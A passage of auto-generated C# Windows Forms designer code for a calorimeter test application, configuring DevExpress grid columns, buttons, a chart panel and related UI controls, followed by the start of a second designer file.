this.psCursorAColumn.OptionsFilter.ImmediateUpdatePopupDateFilterOnDateChange = DevExpress.Utils.DefaultBoolean.False;
this.psCursorAColumn.OptionsFilter.ImmediateUpdatePopupExcelFilter = DevExpress.Utils.DefaultBoolean.False;
this.psCursorAColumn.OptionsFilter.ShowBlanksFilterItems = DevExpress.Utils.DefaultBoolean.False;
this.psCursorAColumn.OptionsFilter.ShowEmptyDateFilter = false;
this.psCursorAColumn.Visible = true;
this.psCursorAColumn.VisibleIndex = 4;
this.psCursorAColumn.Width = 60;
//
// psCursorBColumn
//
this.psCursorBColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.psCursorBColumn.AppearanceCell.Options.UseFont = true;
this.psCursorBColumn.AppearanceCell.Options.UseTextOptions = true;
this.psCursorBColumn.AppearanceCell.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Far;
this.psCursorBColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.psCursorBColumn.AppearanceHeader.Options.UseFont = true;
this.psCursorBColumn.Caption = "B";
this.psCursorBColumn.FieldName = "CursorB";
this.psCursorBColumn.Name = "psCursorBColumn";
this.psCursorBColumn.OptionsColumn.AllowEdit = false;
this.psCursorBColumn.OptionsColumn.AllowFocus = false;
this.psCursorBColumn.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.psCursorBColumn.OptionsColumn.AllowIncrementalSearch = false;
this.psCursorBColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.psCursorBColumn.OptionsColumn.AllowMove = false;
this.psCursorBColumn.OptionsColumn.AllowShowHide = false;
this.psCursorBColumn.OptionsColumn.AllowSize = false;
this.psCursorBColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.psCursorBColumn.OptionsColumn.FixedWidth = true;
this.psCursorBColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.psCursorBColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.psCursorBColumn.OptionsColumn.ReadOnly = true;
this.psCursorBColumn.OptionsFilter.AllowAutoFilter = false;
this.psCursorBColumn.OptionsFilter.AllowFilter = false;
this.psCursorBColumn.OptionsFilter.AllowFilterModeChanging = DevExpress.Utils.DefaultBoolean.False;
this.psCursorBColumn.OptionsFilter.FilterBySortField = DevExpress.Utils.DefaultBoolean.False;
this.psCursorBColumn.OptionsFilter.ImmediateUpdateAutoFilter = false;
this.psCursorBColumn.OptionsFilter.ImmediateUpdatePopupDateFilterOnCheck = DevExpress.Utils.DefaultBoolean.False;
this.psCursorBColumn.OptionsFilter.ImmediateUpdatePopupDateFilterOnDateChange = DevExpress.Utils.DefaultBoolean.False;
this.psCursorBColumn.OptionsFilter.ImmediateUpdatePopupExcelFilter = DevExpress.Utils.DefaultBoolean.False;
this.psCursorBColumn.OptionsFilter.ShowBlanksFilterItems = DevExpress.Utils.DefaultBoolean.False;
this.psCursorBColumn.OptionsFilter.ShowEmptyDateFilter = false;
this.psCursorBColumn.Visible = true;
this.psCursorBColumn.VisibleIndex = 5;
this.psCursorBColumn.Width = 60;
//
// psDiffColumn
//
this.psDiffColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.psDiffColumn.AppearanceCell.Options.UseFont = true;
this.psDiffColumn.AppearanceCell.Options.UseTextOptions = true;
this.psDiffColumn.AppearanceCell.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Far;
this.psDiffColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.psDiffColumn.AppearanceHeader.Options.UseFont = true;
this.psDiffColumn.Caption = "A-B";
this.psDiffColumn.FieldName = "Diff";
this.psDiffColumn.Name = "psDiffColumn";
this.psDiffColumn.OptionsColumn.AllowEdit = false;
this.psDiffColumn.OptionsColumn.AllowFocus = false;
this.psDiffColumn.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.psDiffColumn.OptionsColumn.AllowIncrementalSearch = false;
this.psDiffColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.psDiffColumn.OptionsColumn.AllowMove = false;
this.psDiffColumn.OptionsColumn.AllowShowHide = false;
this.psDiffColumn.OptionsColumn.AllowSize = false;
this.psDiffColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.psDiffColumn.OptionsColumn.FixedWidth = true;
this.psDiffColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.psDiffColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.psDiffColumn.OptionsColumn.ReadOnly = true;
this.psDiffColumn.OptionsFilter.AllowAutoFilter = false;
this.psDiffColumn.OptionsFilter.AllowFilter = false;
this.psDiffColumn.OptionsFilter.AllowFilterModeChanging = DevExpress.Utils.DefaultBoolean.False;
this.psDiffColumn.OptionsFilter.FilterBySortField = DevExpress.Utils.DefaultBoolean.False;
this.psDiffColumn.OptionsFilter.ImmediateUpdateAutoFilter = false;
this.psDiffColumn.OptionsFilter.ImmediateUpdatePopupDateFilterOnCheck = DevExpress.Utils.DefaultBoolean.False;
this.psDiffColumn.OptionsFilter.ImmediateUpdatePopupDateFilterOnDateChange = DevExpress.Utils.DefaultBoolean.False;
this.psDiffColumn.OptionsFilter.ImmediateUpdatePopupExcelFilter = DevExpress.Utils.DefaultBoolean.False;
this.psDiffColumn.OptionsFilter.ShowBlanksFilterItems = DevExpress.Utils.DefaultBoolean.False;
this.psDiffColumn.OptionsFilter.ShowEmptyDateFilter = false;
this.psDiffColumn.Visible = true;
this.psDiffColumn.VisibleIndex = 6;
this.psDiffColumn.Width = 60;
//
// psMinColumn
//
this.psMinColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.psMinColumn.AppearanceCell.Options.UseFont = true;
this.psMinColumn.AppearanceCell.Options.UseTextOptions = true;
this.psMinColumn.AppearanceCell.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Far;
this.psMinColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.psMinColumn.AppearanceHeader.Options.UseFont = true;
this.psMinColumn.Caption = "Min";
this.psMinColumn.FieldName = "Min";
this.psMinColumn.Name = "psMinColumn";
this.psMinColumn.OptionsColumn.AllowEdit = false;
this.psMinColumn.OptionsColumn.AllowFocus = false;
this.psMinColumn.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.psMinColumn.OptionsColumn.AllowIncrementalSearch = false;
this.psMinColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.psMinColumn.OptionsColumn.AllowMove = false;
this.psMinColumn.OptionsColumn.AllowShowHide = false;
this.psMinColumn.OptionsColumn.AllowSize = false;
this.psMinColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.psMinColumn.OptionsColumn.FixedWidth = true;
this.psMinColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.psMinColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.psMinColumn.OptionsColumn.ReadOnly = true;
this.psMinColumn.OptionsFilter.AllowAutoFilter = false;
this.psMinColumn.OptionsFilter.AllowFilter = false;
this.psMinColumn.OptionsFilter.AllowFilterModeChanging = DevExpress.Utils.DefaultBoolean.False;
this.psMinColumn.OptionsFilter.FilterBySortField = DevExpress.Utils.DefaultBoolean.False;
this.psMinColumn.OptionsFilter.ImmediateUpdateAutoFilter = false;
this.psMinColumn.OptionsFilter.ImmediateUpdatePopupDateFilterOnCheck = DevExpress.Utils.DefaultBoolean.False;
this.psMinColumn.OptionsFilter.ImmediateUpdatePopupDateFilterOnDateChange = DevExpress.Utils.DefaultBoolean.False;
this.psMinColumn.OptionsFilter.ImmediateUpdatePopupExcelFilter = DevExpress.Utils.DefaultBoolean.False;
this.psMinColumn.OptionsFilter.ShowBlanksFilterItems = DevExpress.Utils.DefaultBoolean.False;
this.psMinColumn.OptionsFilter.ShowEmptyDateFilter = false;
this.psMinColumn.Visible = true;
this.psMinColumn.VisibleIndex = 7;
this.psMinColumn.Width = 60;
//
// psMaxColumn
//
this.psMaxColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.psMaxColumn.AppearanceCell.Options.UseFont = true;
this.psMaxColumn.AppearanceCell.Options.UseTextOptions = true;
this.psMaxColumn.AppearanceCell.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Far;
this.psMaxColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.psMaxColumn.AppearanceHeader.Options.UseFont = true;
this.psMaxColumn.Caption = "Max";
this.psMaxColumn.FieldName = "Max";
this.psMaxColumn.Name = "psMaxColumn";
this.psMaxColumn.OptionsColumn.AllowEdit = false;
this.psMaxColumn.OptionsColumn.AllowFocus = false;
this.psMaxColumn.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.psMaxColumn.OptionsColumn.AllowIncrementalSearch = false;
this.psMaxColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.psMaxColumn.OptionsColumn.AllowMove = false;
this.psMaxColumn.OptionsColumn.AllowShowHide = false;
this.psMaxColumn.OptionsColumn.AllowSize = false;
this.psMaxColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.psMaxColumn.OptionsColumn.FixedWidth = true;
this.psMaxColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.psMaxColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.psMaxColumn.OptionsColumn.ReadOnly = true;
this.psMaxColumn.OptionsFilter.AllowAutoFilter = false;
this.psMaxColumn.OptionsFilter.AllowFilter = false;
this.psMaxColumn.OptionsFilter.AllowFilterModeChanging = DevExpress.Utils.DefaultBoolean.False;
this.psMaxColumn.OptionsFilter.FilterBySortField = DevExpress.Utils.DefaultBoolean.False;
this.psMaxColumn.OptionsFilter.ImmediateUpdateAutoFilter = false;
this.psMaxColumn.OptionsFilter.ImmediateUpdatePopupDateFilterOnCheck = DevExpress.Utils.DefaultBoolean.False;
this.psMaxColumn.OptionsFilter.ImmediateUpdatePopupDateFilterOnDateChange = DevExpress.Utils.DefaultBoolean.False;
this.psMaxColumn.OptionsFilter.ImmediateUpdatePopupExcelFilter = DevExpress.Utils.DefaultBoolean.False;
this.psMaxColumn.OptionsFilter.ShowBlanksFilterItems = DevExpress.Utils.DefaultBoolean.False;
this.psMaxColumn.OptionsFilter.ShowEmptyDateFilter = false;
this.psMaxColumn.Visible = true;
this.psMaxColumn.VisibleIndex = 8;
this.psMaxColumn.Width = 60;
//
// psAvgColumn
//
this.psAvgColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.psAvgColumn.AppearanceCell.Options.UseFont = true;
this.psAvgColumn.AppearanceCell.Options.UseTextOptions = true;
this.psAvgColumn.AppearanceCell.TextOptions.HAlignment = DevExpress.Utils.HorzAlignment.Far;
this.psAvgColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.psAvgColumn.AppearanceHeader.Options.UseFont = true;
this.psAvgColumn.Caption = "Avg";
this.psAvgColumn.FieldName = "Avg";
this.psAvgColumn.Name = "psAvgColumn";
this.psAvgColumn.OptionsColumn.AllowEdit = false;
this.psAvgColumn.OptionsColumn.AllowFocus = false;
this.psAvgColumn.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.psAvgColumn.OptionsColumn.AllowIncrementalSearch = false;
this.psAvgColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.psAvgColumn.OptionsColumn.AllowMove = false;
this.psAvgColumn.OptionsColumn.AllowShowHide = false;
this.psAvgColumn.OptionsColumn.AllowSize = false;
this.psAvgColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.psAvgColumn.OptionsColumn.FixedWidth = true;
this.psAvgColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.psAvgColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.psAvgColumn.OptionsColumn.ReadOnly = true;
this.psAvgColumn.OptionsFilter.AllowAutoFilter = false;
this.psAvgColumn.OptionsFilter.AllowFilter = false;
this.psAvgColumn.OptionsFilter.AllowFilterModeChanging = DevExpress.Utils.DefaultBoolean.False;
this.psAvgColumn.OptionsFilter.FilterBySortField = DevExpress.Utils.DefaultBoolean.False;
this.psAvgColumn.OptionsFilter.ImmediateUpdateAutoFilter = false;
this.psAvgColumn.OptionsFilter.ImmediateUpdatePopupDateFilterOnCheck = DevExpress.Utils.DefaultBoolean.False;
this.psAvgColumn.OptionsFilter.ImmediateUpdatePopupDateFilterOnDateChange = DevExpress.Utils.DefaultBoolean.False;
this.psAvgColumn.OptionsFilter.ImmediateUpdatePopupExcelFilter = DevExpress.Utils.DefaultBoolean.False;
this.psAvgColumn.OptionsFilter.ShowBlanksFilterItems = DevExpress.Utils.DefaultBoolean.False;
this.psAvgColumn.OptionsFilter.ShowEmptyDateFilter = false;
this.psAvgColumn.Visible = true;
this.psAvgColumn.VisibleIndex = 9;
this.psAvgColumn.Width = 60;
//
// psUnitColumn
//
this.psUnitColumn.AppearanceCell.Font = new System.Drawing.Font("Arial", 9F);
this.psUnitColumn.AppearanceCell.Options.UseFont = true;
this.psUnitColumn.AppearanceHeader.Font = new System.Drawing.Font("Arial", 9F);
this.psUnitColumn.AppearanceHeader.Options.UseFont = true;
this.psUnitColumn.Caption = "Unit";
this.psUnitColumn.FieldName = "UnitFrom";
this.psUnitColumn.Name = "psUnitColumn";
this.psUnitColumn.OptionsColumn.AllowEdit = false;
this.psUnitColumn.OptionsColumn.AllowFocus = false;
this.psUnitColumn.OptionsColumn.AllowGroup = DevExpress.Utils.DefaultBoolean.False;
this.psUnitColumn.OptionsColumn.AllowIncrementalSearch = false;
this.psUnitColumn.OptionsColumn.AllowMerge = DevExpress.Utils.DefaultBoolean.False;
this.psUnitColumn.OptionsColumn.AllowMove = false;
this.psUnitColumn.OptionsColumn.AllowShowHide = false;
this.psUnitColumn.OptionsColumn.AllowSize = false;
this.psUnitColumn.OptionsColumn.AllowSort = DevExpress.Utils.DefaultBoolean.False;
this.psUnitColumn.OptionsColumn.FixedWidth = true;
this.psUnitColumn.OptionsColumn.ImmediateUpdateRowPosition = DevExpress.Utils.DefaultBoolean.False;
this.psUnitColumn.OptionsColumn.Printable = DevExpress.Utils.DefaultBoolean.False;
this.psUnitColumn.OptionsColumn.ReadOnly = true;
this.psUnitColumn.OptionsFilter.AllowAutoFilter = false;
this.psUnitColumn.OptionsFilter.AllowFilter = false;
this.psUnitColumn.OptionsFilter.AllowFilterModeChanging = DevExpress.Utils.DefaultBoolean.False;
this.psUnitColumn.OptionsFilter.FilterBySortField = DevExpress.Utils.DefaultBoolean.False;
this.psUnitColumn.OptionsFilter.ImmediateUpdateAutoFilter = false;
this.psUnitColumn.OptionsFilter.ShowBlanksFilterItems = DevExpress.Utils.DefaultBoolean.False;
this.psUnitColumn.OptionsFilter.ShowEmptyDateFilter = false;
this.psUnitColumn.Visible = true;
this.psUnitColumn.VisibleIndex = 10;
this.psUnitColumn.Width = 66;
//
// yAxesSettingButton
//
this.yAxesSettingButton.ImageAlign = System.Drawing.ContentAlignment.MiddleLeft;
this.yAxesSettingButton.Location = new System.Drawing.Point(206, 2);
this.yAxesSettingButton.Name = "yAxesSettingButton";
this.yAxesSettingButton.Padding = new System.Windows.Forms.Padding(2, 0, 0, 0);
this.yAxesSettingButton.Size = new System.Drawing.Size(96, 26);
this.yAxesSettingButton.TabIndex = 77;
this.yAxesSettingButton.TabStop = false;
this.yAxesSettingButton.Text = "Setting";
this.yAxesSettingButton.UseVisualStyleBackColor = true;
this.yAxesSettingButton.Click += new System.EventHandler(this.yAxesSettingButton_Click);
//
// hideUncheckedCheck
//
this.hideUncheckedCheck.AutoSize = true;
this.hideUncheckedCheck.Location = new System.Drawing.Point(6, 6);
this.hideUncheckedCheck.Name = "hideUncheckedCheck";
this.hideUncheckedCheck.Size = new System.Drawing.Size(145, 19);
this.hideUncheckedCheck.TabIndex = 76;
this.hideUncheckedCheck.TabStop = false;
this.hideUncheckedCheck.Text = "Hide unchecked rows";
this.hideUncheckedCheck.UseVisualStyleBackColor = true;
this.hideUncheckedCheck.CheckedChanged += new System.EventHandler(this.hideUncheckedCheck_CheckedChanged);
//
// resetButton
//
this.resetButton.ImageAlign = System.Drawing.ContentAlignment.MiddleLeft;
this.resetButton.Location = new System.Drawing.Point(1287, 2);
this.resetButton.Name = "resetButton";
this.resetButton.Padding = new System.Windows.Forms.Padding(2, 0, 0, 0);
this.resetButton.Size = new System.Drawing.Size(96, 26);
this.resetButton.TabIndex = 84;
this.resetButton.TabStop = false;
this.resetButton.Text = "Reset";
this.resetButton.UseVisualStyleBackColor = true;
this.resetButton.Click += new System.EventHandler(this.resetButton_Click);
//
// undoButton
//
this.undoButton.ImageAlign = System.Drawing.ContentAlignment.MiddleLeft;
this.undoButton.Location = new System.Drawing.Point(1189, 2);
this.undoButton.Name = "undoButton";
this.undoButton.Padding = new System.Windows.Forms.Padding(2, 0, 0, 0);
this.undoButton.Size = new System.Drawing.Size(96, 26);
this.undoButton.TabIndex = 83;
this.undoButton.TabStop = false;
this.undoButton.Text = "Undo";
this.undoButton.UseVisualStyleBackColor = true;
this.undoButton.Click += new System.EventHandler(this.undoButton_Click);
//
// stackButton
//
this.stackButton.ImageAlign = System.Drawing.ContentAlignment.MiddleLeft;
this.stackButton.Location = new System.Drawing.Point(1091, 2);
this.stackButton.Name = "stackButton";
this.stackButton.Padding = new System.Windows.Forms.Padding(2, 0, 0, 0);
this.stackButton.Size = new System.Drawing.Size(96, 26);
this.stackButton.TabIndex = 82;
this.stackButton.TabStop = false;
this.stackButton.Text = "Stack";
this.stackButton.UseVisualStyleBackColor = true;
this.stackButton.Click += new System.EventHandler(this.stackButton_Click);
//
// autosetButton
//
this.autosetButton.ImageAlign = System.Drawing.ContentAlignment.MiddleLeft;
this.autosetButton.Location = new System.Drawing.Point(993, 2);
this.autosetButton.Name = "autosetButton";
this.autosetButton.Padding = new System.Windows.Forms.Padding(2, 0, 0, 0);
this.autosetButton.Size = new System.Drawing.Size(96, 26);
this.autosetButton.TabIndex = 81;
this.autosetButton.TabStop = false;
this.autosetButton.Text = "Auto Set";
this.autosetButton.UseVisualStyleBackColor = true;
this.autosetButton.Click += new System.EventHandler(this.autosetButton_Click);
//
// graphPanel
//
this.graphPanel.BackColor = System.Drawing.SystemColors.Control;
this.graphPanel.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.graphPanel.BevelOuter = Ulee.Controls.EUlBevelStyle.Single;
this.graphPanel.Controls.Add(this.viewGraph);
this.graphPanel.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.graphPanel.InnerColor2 = System.Drawing.Color.White;
this.graphPanel.Location = new System.Drawing.Point(404, 30);
this.graphPanel.Name = "graphPanel";
this.graphPanel.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.graphPanel.OuterColor2 = System.Drawing.Color.White;
this.graphPanel.Size = new System.Drawing.Size(978, 829);
this.graphPanel.Spacing = 0;
this.graphPanel.TabIndex = 80;
this.graphPanel.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.graphPanel.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
//
// viewGraph
//
this.viewGraph.BaseTime = 1000F;
this.viewGraph.BlockLength = 600;
ulDoubleBufferedSeriesCollection1.BaseTime = 1000F;
ulDoubleBufferedSeriesCollection1.BlockLength = 600;
this.viewGraph.BufferedSeries = ulDoubleBufferedSeriesCollection1;
this.viewGraph.CrosshairEnabled = DevExpress.Utils.DefaultBoolean.False;
this.viewGraph.Dock = System.Windows.Forms.DockStyle.Fill;
this.viewGraph.Legend.Name = "Default Legend";
this.viewGraph.Legend.Visibility = DevExpress.Utils.DefaultBoolean.False;
this.viewGraph.LegendFont = new System.Drawing.Font("Arial", 8F);
this.viewGraph.Location = new System.Drawing.Point(0, 0);
this.viewGraph.Mode = Ulee.Chart.EChartMode.Static;
this.viewGraph.Name = "viewGraph";
this.viewGraph.SeriesSerializable = new DevExpress.XtraCharts.Series[0];
this.viewGraph.Size = new System.Drawing.Size(978, 829);
this.viewGraph.TabIndex = 0;
this.viewGraph.VisualRangeChanging = true;
//
// imageList
//
this.imageList.ImageStream = ((System.Windows.Forms.ImageListStreamer)(resources.GetObject("imageList.ImageStream")));
this.imageList.TransparentColor = System.Drawing.Color.Transparent;
this.imageList.Images.SetKeyName(0, "Unchecked.png");
this.imageList.Images.SetKeyName(1, "Checked.png");
//
// graphPauseLed
//
this.graphPauseLed.Active = false;
this.graphPauseLed.BackColor = System.Drawing.SystemColors.Control;
this.graphPauseLed.BevelInner = Ulee.Controls.EUlBevelStyle.None;
this.graphPauseLed.BevelOuter = Ulee.Controls.EUlBevelStyle.None;
this.graphPauseLed.Gap = 0;
this.graphPauseLed.InnerColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.graphPauseLed.InnerColor2 = System.Drawing.SystemColors.Control;
this.graphPauseLed.Location = new System.Drawing.Point(803, 7);
this.graphPauseLed.Name = "graphPauseLed";
this.graphPauseLed.OffColor = System.Drawing.Color.Black;
this.graphPauseLed.OnColor = System.Drawing.Color.Red;
this.graphPauseLed.OuterColor1 = System.Drawing.Color.FromArgb(((int)(((byte)(160)))), ((int)(((byte)(160)))), ((int)(((byte)(160)))));
this.graphPauseLed.OuterColor2 = System.Drawing.SystemColors.Control;
this.graphPauseLed.Size = new System.Drawing.Size(16, 16);
this.graphPauseLed.Spacing = 0;
this.graphPauseLed.TabIndex = 90;
this.graphPauseLed.TextHAlign = Ulee.Controls.EUlHoriAlign.Center;
this.graphPauseLed.TextVAlign = Ulee.Controls.EUlVertAlign.Middle;
this.graphPauseLed.Type = Ulee.Controls.EUlLedType.Circle;
//
// graphPauseButton
//
this.graphPauseButton.BackColor = System.Drawing.SystemColors.Control;
this.graphPauseButton.ImageAlign = System.Drawing.ContentAlignment.MiddleLeft;
this.graphPauseButton.Location = new System.Drawing.Point(797, 2);
this.graphPauseButton.Name = "graphPauseButton";
this.graphPauseButton.Padding = new System.Windows.Forms.Padding(2, 0, 0, 0);
this.graphPauseButton.Size = new System.Drawing.Size(96, 26);
this.graphPauseButton.TabIndex = 89;
this.graphPauseButton.Text = "Pause";
this.graphPauseButton.UseVisualStyleBackColor = true;
this.graphPauseButton.Click += new System.EventHandler(this.graphPauseButton_Click);
//
// zoomAxisCombo
//
this.zoomAxisCombo.DropDownStyle = System.Windows.Forms.ComboBoxStyle.DropDownList;
this.zoomAxisCombo.Font = new System.Drawing.Font("Arial", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.zoomAxisCombo.FormattingEnabled = true;
this.zoomAxisCombo.ItemHeight = 15;
this.zoomAxisCombo.Items.AddRange(new object[] {
"Both",
"X-Axis",
"Y-Axis"});
this.zoomAxisCombo.Location = new System.Drawing.Point(444, 3);
this.zoomAxisCombo.Name = "zoomAxisCombo";
this.zoomAxisCombo.Size = new System.Drawing.Size(68, 23);
this.zoomAxisCombo.TabIndex = 91;
this.zoomAxisCombo.SelectedIndexChanged += new System.EventHandler(this.zoomAxisCombo_SelectedIndexChanged);
//
// label25
//
this.label25.Location = new System.Drawing.Point(403, 4);
this.label25.Name = "label25";
this.label25.Size = new System.Drawing.Size(39, 22);
this.label25.TabIndex = 92;
this.label25.Text = "Zoom";
this.label25.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;
//
// cursorButton
//
this.cursorButton.ImageAlign = System.Drawing.ContentAlignment.MiddleLeft;
this.cursorButton.Location = new System.Drawing.Point(895, 2);
this.cursorButton.Name = "cursorButton";
this.cursorButton.Padding = new System.Windows.Forms.Padding(2, 0, 0, 0);
this.cursorButton.Size = new System.Drawing.Size(96, 26);
this.cursorButton.TabIndex = 93;
this.cursorButton.TabStop = false;
this.cursorButton.Text = "Cursor";
this.cursorButton.UseVisualStyleBackColor = true;
this.cursorButton.Click += new System.EventHandler(this.cursorButton_Click);
//
// CtrlTestGraphPanel
//
this.AutoScaleDimensions = new System.Drawing.SizeF(7F, 12F);
this.Name = "CtrlTestGraphPanel";
this.Size = new System.Drawing.Size(1384, 859);
this.bgPanel.ResumeLayout(false);
this.bgPanel.PerformLayout();
this.plotPanel.ResumeLayout(false);
((System.ComponentModel.ISupportInitialize)(this.plotSeriesGrid)).EndInit();
((System.ComponentModel.ISupportInitialize)(this.plotSeriesGridView)).EndInit();
((System.ComponentModel.ISupportInitialize)(this.psColorEdit)).EndInit();
this.graphPanel.ResumeLayout(false);
((System.ComponentModel.ISupportInitialize)(this.viewGraph)).EndInit();
this.ResumeLayout(false);
this.PerformLayout();
}
#endregion
private System.Windows.Forms.Button applyButton;
private Ulee.Controls.UlPanel plotPanel;
private Ulee.Controls.UlPanel ulPanel6;
private DevExpress.XtraGrid.GridControl plotSeriesGrid;
private DevExpress.XtraGrid.Views.Grid.GridView plotSeriesGridView;
private DevExpress.XtraGrid.Columns.GridColumn psRecNoColumn;
private DevExpress.XtraGrid.Columns.GridColumn psCheckedColumn;
private DevExpress.XtraGrid.Columns.GridColumn psColorColumn;
private DevExpress.XtraEditors.Repository.RepositoryItemColorEdit psColorEdit;
private DevExpress.XtraGrid.Columns.GridColumn psNameColumn;
private DevExpress.XtraGrid.Columns.GridColumn psValueColumn;
private DevExpress.XtraGrid.Columns.GridColumn psUnitColumn;
private System.Windows.Forms.Button yAxesSettingButton;
private System.Windows.Forms.CheckBox hideUncheckedCheck;
private System.Windows.Forms.Button resetButton;
private System.Windows.Forms.Button undoButton;
private System.Windows.Forms.Button stackButton;
private System.Windows.Forms.Button autosetButton;
private Ulee.Controls.UlPanel graphPanel;
private Ulee.Chart.UlDoubleBufferedLineChart viewGraph;
private System.Windows.Forms.ImageList imageList;
private Ulee.Controls.UlLed graphPauseLed;
private System.Windows.Forms.Button graphPauseButton;
public System.Windows.Forms.ComboBox zoomAxisCombo;
private System.Windows.Forms.Label label25;
private System.Windows.Forms.Button cursorButton;
private DevExpress.XtraGrid.Columns.GridColumn psCursorAColumn;
private DevExpress.XtraGrid.Columns.GridColumn psCursorBColumn;
private DevExpress.XtraGrid.Columns.GridColumn psDiffColumn;
private DevExpress.XtraGrid.Columns.GridColumn psMinColumn;
private DevExpress.XtraGrid.Columns.GridColumn psMaxColumn;
private DevExpress.XtraGrid.Columns.GridColumn psAvgColumn;
}
}
<file_sep>namespace Hnc.Calorimeter.Client
{
partial class CtrlTestMeas
{
/// <summary>
/// Required designer variable.
/// </summary>
private System.ComponentModel.IContainer components = null;
/// <summary>
/// Clean up any resources being used.
/// </summary>
/// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
protected override void Dispose(bool disposing)
{
if (disposing && (components != null))
{
components.Dispose();
}
base.Dispose(disposing);
}
#region Component Designer generated code
/// <summary>
/// Required method for Designer support - do not modify
/// the contents of this method with the code editor.
/// </summary>
private void InitializeComponent()
{
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(CtrlTestMeas));
this.ulPanel4 = new Ulee.Controls.UlPanel();
this.totalRatedGrid = new DevExpress.XtraGrid.GridControl();
this.totalRatedGridView = new DevExpress.XtraGrid.Views.Grid.GridView();
this.trgNameColumn = new DevExpress.XtraGrid.Columns.GridColumn();
this.trgValueColumn = new DevExpress.XtraGrid.Columns.GridColumn();
this.trgUnitColumn = new DevExpress.XtraGrid.Columns.GridColumn();
this.ulPanel6 = new Ulee.Controls.UlPanel();
this.ulPanel1 = new Ulee.Controls.UlPanel();
this.runStateGrid = new DevExpress.XtraGrid.GridControl();
this.runStateGridView = new DevExpress.XtraGrid.Views.Grid.GridView();
this.rsgNameColumn = new DevExpress.XtraGrid.Columns.GridColumn();
this.rsgValueColumn = new DevExpress.XtraGrid.Columns.GridColumn();
this.label38 = new System.Windows.Forms.Label();
this.label37 = new System.Windows.Forms.Label();
this.label36 = new System.Windows.Forms.Label();
this.label35 = new System.Windows.Forms.Label();
this.label32 = new System.Windows.Forms.Label();
this.label31 = new System.Windows.Forms.Label();
this.scheduleProgress = new DevExpress.XtraEditors.ProgressBarControl();
this.repeatProgress = new DevExpress.XtraEditors.ProgressBarControl();
